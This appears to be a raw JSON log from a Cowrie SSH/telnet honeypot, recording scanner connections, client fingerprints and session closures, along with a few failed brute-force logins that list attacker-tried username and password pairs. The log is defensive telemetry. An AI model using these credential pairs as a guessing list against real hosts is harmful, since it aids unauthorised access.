{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:19.858119Z","src_ip":"194.59.206.2","session":"d9c938f867e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:20.009945Z","src_ip":"194.59.206.2","session":"d9c938f867e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.184054374694824,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:22.378325Z","src_ip":"192.119.13.58","session":"7c988bf8c4d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75873589515686,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:23.875628Z","src_ip":"192.119.13.58","session":"70afcccf27cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54414,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b153acd98e","protocol":"telnet","message":"New connection: 192.119.13.58:54414 (10.17.0.5:23) [session: 82b153acd98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:25.271763Z"}
{"eventid":"cowrie.session.closed","duration":44.576207637786865,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:30.024487Z","src_ip":"192.119.13.58","session":"fd74cc61a1e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.19924521446228,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:36.225354Z","src_ip":"186.195.16.41","session":"89fd0c25d68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56618,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b392109147a","protocol":"telnet","message":"New connection: 192.119.13.58:56618 (10.17.0.5:23) [session: 4b392109147a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:37.431584Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40454,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5aab6c14ec9","protocol":"telnet","message":"New connection: 192.119.13.58:40454 (10.17.0.5:23) [session: b5aab6c14ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:48.562245Z"}
{"eventid":"cowrie.session.closed","duration":32.93059039115906,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:49.805870Z","src_ip":"192.119.13.58","session":"e02bc9a534e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":40734,"dst_ip":"10.17.0.5","dst_port":22,"session":"5768a6dc3547","protocol":"ssh","message":"New connection: 94.26.106.201:40734 (10.17.0.5:22) [session: 5768a6dc3547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:52.405316Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:52.410257Z","src_ip":"94.26.106.201","session":"5768a6dc3547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":40748,"dst_ip":"10.17.0.5","dst_port":22,"session":"b053be7c2e9a","protocol":"ssh","message":"New connection: 94.26.106.201:40748 (10.17.0.5:22) [session: b053be7c2e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:52.540843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:52.545411Z","src_ip":"94.26.106.201","session":"b053be7c2e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:52.630756Z","src_ip":"94.26.106.201","session":"b053be7c2e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:52.802426Z","src_ip":"94.26.106.201","session":"b053be7c2e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:53.890852Z","src_ip":"94.26.106.201","session":"b053be7c2e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63b1118a9a2","protocol":"telnet","message":"New connection: 192.119.13.58:40224 (10.17.0.5:23) [session: c63b1118a9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:55.054213Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47054,"dst_ip":"10.17.0.5","dst_port":23,"session":"65350fce4839","protocol":"telnet","message":"New connection: 192.119.13.58:47054 (10.17.0.5:23) [session: 65350fce4839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:56.875933Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e55580c2611","protocol":"telnet","message":"New connection: 192.119.13.58:54930 (10.17.0.5:23) [session: 8e55580c2611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:22:58.989399Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33470,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d443b332a8","protocol":"telnet","message":"New connection: 192.119.13.58:33470 (10.17.0.5:23) [session: 91d443b332a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:00.625869Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50000,"dst_ip":"10.17.0.5","dst_port":22,"session":"94c2d86d819d","protocol":"ssh","message":"New connection: 80.94.92.184:50000 (10.17.0.5:22) [session: 94c2d86d819d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:04.068448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:04.522389Z","src_ip":"80.94.92.184","session":"94c2d86d819d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:04.526241Z","src_ip":"80.94.92.184","session":"94c2d86d819d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:05.831403Z","src_ip":"80.94.92.184","session":"94c2d86d819d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:07.182114Z","src_ip":"80.94.92.184","session":"94c2d86d819d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":53902,"dst_ip":"10.17.0.5","dst_port":22,"session":"095f2f614940","protocol":"ssh","message":"New connection: 89.108.118.91:53902 (10.17.0.5:22) [session: 095f2f614940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:07.446149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:07.451228Z","src_ip":"89.108.118.91","session":"095f2f614940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:07.599645Z","src_ip":"89.108.118.91","session":"095f2f614940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.606093168258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:08.037597Z","src_ip":"192.119.13.58","session":"4b392109147a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazda626","message":"login attempt [root/mazda626] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:08.045911Z","src_ip":"89.108.118.91","session":"095f2f614940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:09.197213Z","src_ip":"89.108.118.91","session":"095f2f614940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54634,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b9973cb80a","protocol":"telnet","message":"New connection: 192.119.13.58:54634 (10.17.0.5:23) [session: 15b9973cb80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:11.939154Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40608,"dst_ip":"10.17.0.5","dst_port":23,"session":"11365632ced5","protocol":"telnet","message":"New connection: 192.119.13.58:40608 (10.17.0.5:23) [session: 11365632ced5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:14.996784Z"}
{"eventid":"cowrie.session.closed","duration":51.966959714889526,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:17.238625Z","src_ip":"192.119.13.58","session":"82b153acd98e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.36898612976074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:21.931131Z","src_ip":"192.119.13.58","session":"b5aab6c14ec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43726,"dst_ip":"10.17.0.5","dst_port":23,"session":"327a734fee2c","protocol":"telnet","message":"New connection: 192.119.13.58:43726 (10.17.0.5:23) [session: 327a734fee2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:23.008218Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46608,"dst_ip":"10.17.0.5","dst_port":23,"session":"afd473036983","protocol":"telnet","message":"New connection: 192.119.13.58:46608 (10.17.0.5:23) [session: afd473036983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:23.828796Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60708,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c69acdd3c6","protocol":"telnet","message":"New connection: 192.119.13.58:60708 (10.17.0.5:23) [session: f6c69acdd3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:27.482801Z"}
{"eventid":"cowrie.session.closed","duration":30.23875665664673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:29.228029Z","src_ip":"192.119.13.58","session":"8e55580c2611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31001257896423,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:33.185824Z","src_ip":"192.119.13.58","session":"65350fce4839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.50670385360718,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:36.560799Z","src_ip":"192.119.13.58","session":"c63b1118a9a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"4115935bdf71","protocol":"telnet","message":"New connection: 192.119.13.58:37596 (10.17.0.5:23) [session: 4115935bdf71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:37.298048Z"}
{"eventid":"cowrie.session.closed","duration":38.23689866065979,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:38.862631Z","src_ip":"192.119.13.58","session":"91d443b332a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52474,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6b5786ed279","protocol":"ssh","message":"New connection: 147.45.199.80:52474 (159.203.135.109:22) [session: e6b5786ed279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:50.092728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:50.097613Z","src_ip":"147.45.199.80","session":"e6b5786ed279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:50.205071Z","src_ip":"147.45.199.80","session":"e6b5786ed279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtkjcbgtl","message":"login attempt [root/dtkjcbgtl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:50.502858Z","src_ip":"147.45.199.80","session":"e6b5786ed279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:51.601032Z","src_ip":"147.45.199.80","session":"e6b5786ed279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.98580837249756,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:53.982473Z","src_ip":"192.119.13.58","session":"11365632ced5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44104,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa4d36f7ac34","protocol":"telnet","message":"New connection: 192.119.13.58:44104 (10.17.0.5:23) [session: fa4d36f7ac34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:55.633590Z"}
{"eventid":"cowrie.session.closed","duration":31.90691590309143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:55.735595Z","src_ip":"192.119.13.58","session":"afd473036983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51464,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0912e963b3","protocol":"telnet","message":"New connection: 192.119.13.58:51464 (10.17.0.5:23) [session: 1e0912e963b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:56.739984Z"}
{"eventid":"cowrie.session.closed","duration":44.80835819244385,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:56.747381Z","src_ip":"192.119.13.58","session":"15b9973cb80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56788,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a0559a3422","protocol":"telnet","message":"New connection: 192.119.13.58:56788 (10.17.0.5:23) [session: b5a0559a3422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:58.513643Z"}
{"eventid":"cowrie.session.closed","duration":36.2036919593811,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:23:59.211770Z","src_ip":"192.119.13.58","session":"327a734fee2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36418,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee2b3795e812","protocol":"telnet","message":"New connection: 192.119.13.58:36418 (10.17.0.5:23) [session: ee2b3795e812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:24:00.912396Z"}
